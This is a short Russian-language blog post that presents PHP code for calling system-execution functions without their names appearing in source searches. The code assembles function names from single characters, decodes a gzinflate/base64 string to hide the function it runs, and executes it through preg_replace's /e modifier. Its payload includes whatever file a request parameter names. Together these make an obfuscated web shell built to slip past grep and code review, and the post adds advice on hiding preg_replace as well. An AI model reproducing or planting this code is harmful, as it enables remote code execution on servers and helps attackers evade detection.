Замена eval() в php
Недавно ломал голову над тем, есть ли замена функции eval() в php.
Задача: Сделать возможность вызова функций system, passthru, exec и т.д. так, чтобы в коде не было упоминания имен этих функций, то есть, чтобы при поиске по исходникам (grep -rl ‘function‘ /path) данные функции не светились.
Немного поломав мозг, пришел к такому решению:
// функции для выполнения $funcs = array( 'g'.'z'.'i'.'n'.'f'.'l'.'a'.'t'.'e', 'b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e', 'p'.'h'.'p'.'i'.'n'.'f'.'o' ); $strng = 'KyhKLUtNAQA='; # прогнанный через gzinflate base64 хэш имени функции (preved) function preved() { ############## Здесь любой код для выполнения ############ (isset($_REQUEST['c'])) ? include($_REQUEST['c']) : die(); ########################################################### } function test() { global $funcs, $strng; $result = $funcs[0]($funcs[1]($strng)); return $result(); // заменить на $func[X], если не нужно вызывать функцию preved() } echo preg_replace("/123/e",test(),456);
Как видно из листинга, скрипт использует баг в функции preg_replace() с флагом /e. Разобраться с ним не сложно.
В результате получился скрипт, который может выполнять практически любые функции, кроме eval(), так как:
это языковая конструкция, а не функция, она не может вызываться при помощи переменных функций (c) мануал
Единственный минус – можно выполнить поиск по имени функции preg_replace(), но ее можно зашифровать аналогично примерам из скрипта или любым другим способом.
15-07-2022
1